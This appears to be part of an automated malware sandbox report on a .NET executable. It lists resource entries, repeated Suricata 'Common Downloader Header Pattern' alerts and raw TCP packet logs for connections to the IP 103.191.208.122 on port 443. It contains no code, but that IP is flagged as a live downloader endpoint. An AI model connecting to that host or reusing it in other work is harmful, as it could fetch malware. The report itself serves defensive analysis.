Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_VERSION	0xe0a0	0x31c	data			0.43090452261306533
RT_MANIFEST	0xe3bc	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators			0.5489795918367347

Imports

DLL	Import
mscoree.dll	_CorExeMain

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-17T10:52:23.260503+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49711	103.191.208.122	443	TCP
2024-10-17T10:52:24.727438+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49713	103.191.208.122	443	TCP
2024-10-17T10:52:26.196032+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49714	103.191.208.122	443	TCP
2024-10-17T10:52:27.846028+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49715	103.191.208.122	443	TCP
2024-10-17T10:52:29.309413+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49717	103.191.208.122	443	TCP
2024-10-17T10:52:30.761459+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49723	103.191.208.122	443	TCP
2024-10-17T10:52:32.320086+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49734	103.191.208.122	443	TCP
2024-10-17T10:52:33.801442+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49741	103.191.208.122	443	TCP
2024-10-17T10:52:35.270210+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49747	103.191.208.122	443	TCP
2024-10-17T10:52:36.742656+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49753	103.191.208.122	443	TCP
2024-10-17T10:52:38.245859+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49767	103.191.208.122	443	TCP
2024-10-17T10:52:39.738145+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49778	103.191.208.122	443	TCP
2024-10-17T10:52:41.262342+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49785	103.191.208.122	443	TCP
2024-10-17T10:52:42.750623+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49795	103.191.208.122	443	TCP
2024-10-17T10:52:44.260687+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49802	103.191.208.122	443	TCP
2024-10-17T10:52:45.720726+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49813	103.191.208.122	443	TCP
2024-10-17T10:52:47.218416+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49823	103.191.208.122	443	TCP
2024-10-17T10:52:48.744797+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49830	103.191.208.122	443	TCP
2024-10-17T10:52:50.262340+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49842	103.191.208.122	443	TCP
2024-10-17T10:52:51.806003+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49852	103.191.208.122	443	TCP
2024-10-17T10:52:53.265093+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49859	103.191.208.122	443	TCP
2024-10-17T10:52:54.777150+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49869	103.191.208.122	443	TCP
2024-10-17T10:52:56.266969+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49876	103.191.208.122	443	TCP
2024-10-17T10:52:57.742114+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49887	103.191.208.122	443	TCP
2024-10-17T10:52:59.241066+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49897	103.191.208.122	443	TCP
2024-10-17T10:53:00.962809+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49904	103.191.208.122	443	TCP
2024-10-17T10:53:02.435891+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49915	103.191.208.122	443	TCP
2024-10-17T10:53:03.912923+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49925	103.191.208.122	443	TCP
2024-10-17T10:53:05.414783+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49936	103.191.208.122	443	TCP
2024-10-17T10:53:06.885710+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49943	103.191.208.122	443	TCP
2024-10-17T10:53:08.353414+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49953	103.191.208.122	443	TCP
2024-10-17T10:53:09.819871+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49962	103.191.208.122	443	TCP
2024-10-17T10:53:11.277107+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49971	103.191.208.122	443	TCP
2024-10-17T10:53:12.751434+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49979	103.191.208.122	443	TCP
2024-10-17T10:53:14.205471+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49989	103.191.208.122	443	TCP
2024-10-17T10:53:15.696453+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	50000	103.191.208.122	443	TCP
2024-10-17T10:53:17.286149+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	50007	103.191.208.122	443	TCP
2024-10-17T10:53:18.746929+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	50016	103.191.208.122	443	TCP
2024-10-17T10:53:20.454056+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	50023	103.191.208.122	443	TCP
2024-10-17T10:53:22.131776+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	50024	103.191.208.122	443	TCP
2024-10-17T10:53:23.589701+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	50025	103.191.208.122	443	TCP
2024-10-17T10:53:25.042030+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	50026	103.191.208.122	443	TCP
2024-10-17T10:53:26.495484+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	50027	103.191.208.122	443	TCP
2024-10-17T10:53:28.000426+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	50028	103.191.208.122	443	TCP
2024-10-17T10:53:29.481283+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	50030	103.191.208.122	443	TCP
2024-10-17T10:53:31.203068+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	50031	103.191.208.122	443	TCP
2024-10-17T10:53:32.694142+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	50032	103.191.208.122	443	TCP
2024-10-17T10:53:34.162326+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	50033	103.191.208.122	443	TCP
2024-10-17T10:53:35.772589+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	50034	103.191.208.122	443	TCP
2024-10-17T10:53:37.209445+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	50035	103.191.208.122	443	TCP
2024-10-17T10:53:38.676102+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	50037	103.191.208.122	443	TCP
2024-10-17T10:53:40.148661+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	50039	103.191.208.122	443	TCP
2024-10-17T10:53:41.621002+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	50040	103.191.208.122	443	TCP
2024-10-17T10:53:43.271201+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	50041	103.191.208.122	443	TCP
2024-10-17T10:53:45.090643+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	50042	103.191.208.122	443	TCP
2024-10-17T10:53:46.554508+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	50043	103.191.208.122	443	TCP
2024-10-17T10:53:48.011315+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	50044	103.191.208.122	443	TCP
2024-10-17T10:53:49.491866+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	50045	103.191.208.122	443	TCP
2024-10-17T10:53:50.962524+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	50047	103.191.208.122	443	TCP
2024-10-17T10:53:52.469660+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	50048	103.191.208.122	443	TCP
2024-10-17T10:53:54.004248+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	50049	103.191.208.122	443	TCP
2024-10-17T10:53:55.460426+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	50050	103.191.208.122	443	TCP
2024-10-17T10:53:56.939555+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	50051	103.191.208.122	443	TCP
2024-10-17T10:53:58.428830+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	50052	103.191.208.122	443	TCP
2024-10-17T10:53:59.909756+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	50053	103.191.208.122	443	TCP
2024-10-17T10:54:01.406488+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	50054	103.191.208.122	443	TCP
2024-10-17T10:54:02.924920+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	50055	103.191.208.122	443	TCP
2024-10-17T10:54:04.442259+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	50056	103.191.208.122	443	TCP
2024-10-17T10:54:05.982213+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	50057	103.191.208.122	443	TCP
2024-10-17T10:54:07.458152+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	50058	103.191.208.122	443	TCP
2024-10-17T10:54:08.950259+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	50059	103.191.208.122	443	TCP
2024-10-17T10:54:10.431762+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	50060	103.191.208.122	443	TCP
2024-10-17T10:54:12.085300+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	50061	103.191.208.122	443	TCP
2024-10-17T10:54:13.548908+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	50062	103.191.208.122	443	TCP
2024-10-17T10:54:15.038723+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	50063	103.191.208.122	443	TCP
2024-10-17T10:54:16.514908+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	50064	103.191.208.122	443	TCP
2024-10-17T10:54:17.992312+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	50066	103.191.208.122	443	TCP
2024-10-17T10:54:19.503009+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	50067	103.191.208.122	443	TCP
2024-10-17T10:54:21.073699+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	50068	103.191.208.122	443	TCP
2024-10-17T10:54:22.594980+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	50069	103.191.208.122	443	TCP
2024-10-17T10:54:24.075830+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	50070	103.191.208.122	443	TCP
2024-10-17T10:54:25.552847+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	50071	103.191.208.122	443	TCP
2024-10-17T10:54:27.009791+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	50072	103.191.208.122	443	TCP
2024-10-17T10:54:28.503442+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	50073	103.191.208.122	443	TCP
2024-10-17T10:54:29.992445+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	50074	103.191.208.122	443	TCP
2024-10-17T10:54:31.447649+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	50075	103.191.208.122	443	TCP
2024-10-17T10:54:33.124609+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	50076	103.191.208.122	443	TCP
2024-10-17T10:54:34.584937+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	50077	103.191.208.122	443	TCP
2024-10-17T10:54:36.063100+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	50078	103.191.208.122	443	TCP
2024-10-17T10:54:37.837173+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	50079	103.191.208.122	443	TCP
2024-10-17T10:54:39.306026+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	50080	103.191.208.122	443	TCP
2024-10-17T10:54:40.774949+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	50081	103.191.208.122	443	TCP
2024-10-17T10:54:42.739655+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	50082	103.191.208.122	443	TCP
2024-10-17T10:54:44.275194+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	50084	103.191.208.122	443	TCP
2024-10-17T10:54:46.086102+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	50085	103.191.208.122	443	TCP
2024-10-17T10:54:47.579382+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	50086	103.191.208.122	443	TCP
2024-10-17T10:54:49.226845+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	50087	103.191.208.122	443	TCP
2024-10-17T10:54:50.657094+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	50088	103.191.208.122	443	TCP
2024-10-17T10:54:52.415407+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	50089	103.191.208.122	443	TCP
2024-10-17T10:54:54.923946+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	50090	103.191.208.122	443	TCP
2024-10-17T10:54:56.589451+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	50091	103.191.208.122	443	TCP
2024-10-17T10:54:58.275492+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	50092	103.191.208.122	443	TCP
2024-10-17T10:54:59.798428+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	50093	103.191.208.122	443	TCP
2024-10-17T10:55:01.616594+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	50094	103.191.208.122	443	TCP
2024-10-17T10:55:03.907466+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	50095	103.191.208.122	443	TCP
2024-10-17T10:55:19.705021+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	50096	103.191.208.122	443	TCP
2024-10-17T10:55:21.177910+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	50098	103.191.208.122	443	TCP
2024-10-17T10:55:22.713279+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	50099	103.191.208.122	443	TCP
2024-10-17T10:55:24.225090+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	50100	103.191.208.122	443	TCP
2024-10-17T10:55:25.789911+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	50101	103.191.208.122	443	TCP
2024-10-17T10:55:27.338302+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	50102	103.191.208.122	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 17, 2024 10:52:20.177383900 CEST	49710	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:52:20.177431107 CEST	443	49710	103.191.208.122	192.168.2.6
Oct 17, 2024 10:52:20.177510977 CEST	49710	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:52:20.189681053 CEST	49710	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:52:20.189703941 CEST	443	49710	103.191.208.122	192.168.2.6
Oct 17, 2024 10:52:21.294182062 CEST	443	49710	103.191.208.122	192.168.2.6
Oct 17, 2024 10:52:21.294327021 CEST	49710	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:52:21.348598957 CEST	49710	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:52:21.348625898 CEST	443	49710	103.191.208.122	192.168.2.6
Oct 17, 2024 10:52:21.349076986 CEST	443	49710	103.191.208.122	192.168.2.6
Oct 17, 2024 10:52:21.400686979 CEST	49710	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:52:21.422290087 CEST	49710	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:52:21.467401981 CEST	443	49710	103.191.208.122	192.168.2.6
Oct 17, 2024 10:52:21.793160915 CEST	443	49710	103.191.208.122	192.168.2.6
Oct 17, 2024 10:52:21.793199062 CEST	443	49710	103.191.208.122	192.168.2.6
Oct 17, 2024 10:52:21.793205976 CEST	443	49710	103.191.208.122	192.168.2.6
Oct 17, 2024 10:52:21.793217897 CEST	443	49710	103.191.208.122	192.168.2.6
Oct 17, 2024 10:52:21.793289900 CEST	443	49710	103.191.208.122	192.168.2.6
Oct 17, 2024 10:52:21.793303013 CEST	49710	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:52:21.793416023 CEST	49710	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:52:21.803092957 CEST	49710	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:52:21.806790113 CEST	49711	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:52:21.806849957 CEST	443	49711	103.191.208.122	192.168.2.6
Oct 17, 2024 10:52:21.806956053 CEST	49711	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:52:21.807344913 CEST	49711	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:52:21.807359934 CEST	443	49711	103.191.208.122	192.168.2.6
Oct 17, 2024 10:52:22.891490936 CEST	443	49711	103.191.208.122	192.168.2.6
Oct 17, 2024 10:52:22.894763947 CEST	49711	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:52:22.894808054 CEST	443	49711	103.191.208.122	192.168.2.6
Oct 17, 2024 10:52:23.260516882 CEST	443	49711	103.191.208.122	192.168.2.6
Oct 17, 2024 10:52:23.260550976 CEST	443	49711	103.191.208.122	192.168.2.6
Oct 17, 2024 10:52:23.260624886 CEST	443	49711	103.191.208.122	192.168.2.6
Oct 17, 2024 10:52:23.260672092 CEST	49711	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:52:23.260724068 CEST	49711	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:52:23.261682034 CEST	49711	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:52:23.262521029 CEST	49713	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:52:23.262573957 CEST	443	49713	103.191.208.122	192.168.2.6
Oct 17, 2024 10:52:23.262639999 CEST	49713	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:52:23.263036966 CEST	49713	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:52:23.263052940 CEST	443	49713	103.191.208.122	192.168.2.6
Oct 17, 2024 10:52:24.355846882 CEST	443	49713	103.191.208.122	192.168.2.6
Oct 17, 2024 10:52:24.358642101 CEST	49713	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:52:24.358676910 CEST	443	49713	103.191.208.122	192.168.2.6
Oct 17, 2024 10:52:24.727494955 CEST	443	49713	103.191.208.122	192.168.2.6
Oct 17, 2024 10:52:24.727523088 CEST	443	49713	103.191.208.122	192.168.2.6
Oct 17, 2024 10:52:24.727596045 CEST	443	49713	103.191.208.122	192.168.2.6
Oct 17, 2024 10:52:24.727593899 CEST	49713	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:52:24.727641106 CEST	49713	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:52:24.728600025 CEST	49713	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:52:24.730357885 CEST	49714	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:52:24.730397940 CEST	443	49714	103.191.208.122	192.168.2.6
Oct 17, 2024 10:52:24.730463982 CEST	49714	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:52:24.730973005 CEST	49714	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:52:24.730990887 CEST	443	49714	103.191.208.122	192.168.2.6
Oct 17, 2024 10:52:25.824902058 CEST	443	49714	103.191.208.122	192.168.2.6
Oct 17, 2024 10:52:25.827840090 CEST	49714	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:52:25.827873945 CEST	443	49714	103.191.208.122	192.168.2.6
Oct 17, 2024 10:52:26.196064949 CEST	443	49714	103.191.208.122	192.168.2.6
Oct 17, 2024 10:52:26.196091890 CEST	443	49714	103.191.208.122	192.168.2.6
Oct 17, 2024 10:52:26.196158886 CEST	443	49714	103.191.208.122	192.168.2.6
Oct 17, 2024 10:52:26.196167946 CEST	49714	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:52:26.196214914 CEST	49714	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:52:26.196882010 CEST	49714	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:52:26.197858095 CEST	49715	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:52:26.197915077 CEST	443	49715	103.191.208.122	192.168.2.6
Oct 17, 2024 10:52:26.197993994 CEST	49715	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:52:26.198390007 CEST	49715	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:52:26.198405981 CEST	443	49715	103.191.208.122	192.168.2.6
Oct 17, 2024 10:52:27.484441996 CEST	443	49715	103.191.208.122	192.168.2.6
Oct 17, 2024 10:52:27.486546993 CEST	49715	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:52:27.486581087 CEST	443	49715	103.191.208.122	192.168.2.6
Oct 17, 2024 10:52:27.846029043 CEST	443	49715	103.191.208.122	192.168.2.6
Oct 17, 2024 10:52:27.846052885 CEST	443	49715	103.191.208.122	192.168.2.6
Oct 17, 2024 10:52:27.846163988 CEST	443	49715	103.191.208.122	192.168.2.6
Oct 17, 2024 10:52:27.846179008 CEST	49715	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:52:27.846237898 CEST	49715	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:52:27.854296923 CEST	49715	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:52:27.855099916 CEST	49717	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:52:27.855201960 CEST	443	49717	103.191.208.122	192.168.2.6
Oct 17, 2024 10:52:27.855290890 CEST	49717	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:52:27.855627060 CEST	49717	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:52:27.855658054 CEST	443	49717	103.191.208.122	192.168.2.6
Oct 17, 2024 10:52:28.941013098 CEST	443	49717	103.191.208.122	192.168.2.6
Oct 17, 2024 10:52:28.943515062 CEST	49717	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:52:28.943547964 CEST	443	49717	103.191.208.122	192.168.2.6
Oct 17, 2024 10:52:29.309432030 CEST	443	49717	103.191.208.122	192.168.2.6
Oct 17, 2024 10:52:29.309459925 CEST	443	49717	103.191.208.122	192.168.2.6
Oct 17, 2024 10:52:29.309520006 CEST	443	49717	103.191.208.122	192.168.2.6
Oct 17, 2024 10:52:29.309568882 CEST	49717	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:52:29.309623003 CEST	49717	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:52:29.310578108 CEST	49717	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:52:29.311602116 CEST	49723	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:52:29.311629057 CEST	443	49723	103.191.208.122	192.168.2.6
Oct 17, 2024 10:52:29.311698914 CEST	49723	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:52:29.312016010 CEST	49723	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:52:29.312022924 CEST	443	49723	103.191.208.122	192.168.2.6
Oct 17, 2024 10:52:30.395425081 CEST	443	49723	103.191.208.122	192.168.2.6
Oct 17, 2024 10:52:30.397665024 CEST	49723	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:52:30.397686958 CEST	443	49723	103.191.208.122	192.168.2.6
Oct 17, 2024 10:52:30.761471987 CEST	443	49723	103.191.208.122	192.168.2.6
Oct 17, 2024 10:52:30.761499882 CEST	443	49723	103.191.208.122	192.168.2.6
Oct 17, 2024 10:52:30.761574984 CEST	49723	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:52:30.761581898 CEST	443	49723	103.191.208.122	192.168.2.6
Oct 17, 2024 10:52:30.761730909 CEST	443	49723	103.191.208.122	192.168.2.6
Oct 17, 2024 10:52:30.761774063 CEST	49723	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:52:30.763237000 CEST	49723	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:52:30.764204025 CEST	49734	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:52:30.764256954 CEST	443	49734	103.191.208.122	192.168.2.6
Oct 17, 2024 10:52:30.764321089 CEST	49734	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:52:30.764714003 CEST	49734	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:52:30.764724970 CEST	443	49734	103.191.208.122	192.168.2.6
Oct 17, 2024 10:52:31.957658052 CEST	443	49734	103.191.208.122	192.168.2.6
Oct 17, 2024 10:52:31.959628105 CEST	49734	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:52:31.959662914 CEST	443	49734	103.191.208.122	192.168.2.6
Oct 17, 2024 10:52:32.320096970 CEST	443	49734	103.191.208.122	192.168.2.6
Oct 17, 2024 10:52:32.320128918 CEST	443	49734	103.191.208.122	192.168.2.6
Oct 17, 2024 10:52:32.320209980 CEST	443	49734	103.191.208.122	192.168.2.6
Oct 17, 2024 10:52:32.320394039 CEST	49734	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:52:32.320394039 CEST	49734	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:52:32.323331118 CEST	49734	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:52:32.324099064 CEST	49741	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:52:32.324148893 CEST	443	49741	103.191.208.122	192.168.2.6
Oct 17, 2024 10:52:32.324219942 CEST	49741	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:52:32.324585915 CEST	49741	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:52:32.324604988 CEST	443	49741	103.191.208.122	192.168.2.6
Oct 17, 2024 10:52:33.419243097 CEST	443	49741	103.191.208.122	192.168.2.6
Oct 17, 2024 10:52:33.432703018 CEST	49741	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:52:33.432739973 CEST	443	49741	103.191.208.122	192.168.2.6
Oct 17, 2024 10:52:33.801423073 CEST	443	49741	103.191.208.122	192.168.2.6
Oct 17, 2024 10:52:33.801469088 CEST	443	49741	103.191.208.122	192.168.2.6
Oct 17, 2024 10:52:33.801542997 CEST	443	49741	103.191.208.122	192.168.2.6
Oct 17, 2024 10:52:33.801548958 CEST	49741	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:52:33.801625967 CEST	49741	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:52:33.802572012 CEST	49741	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:52:33.803688049 CEST	49747	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:52:33.803734064 CEST	443	49747	103.191.208.122	192.168.2.6
Oct 17, 2024 10:52:33.803811073 CEST	49747	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:52:33.804207087 CEST	49747	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:52:33.804218054 CEST	443	49747	103.191.208.122	192.168.2.6
Oct 17, 2024 10:52:34.895298958 CEST	443	49747	103.191.208.122	192.168.2.6
Oct 17, 2024 10:52:34.900119066 CEST	49747	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:52:34.900157928 CEST	443	49747	103.191.208.122	192.168.2.6
Oct 17, 2024 10:52:35.270243883 CEST	443	49747	103.191.208.122	192.168.2.6
Oct 17, 2024 10:52:35.270319939 CEST	443	49747	103.191.208.122	192.168.2.6
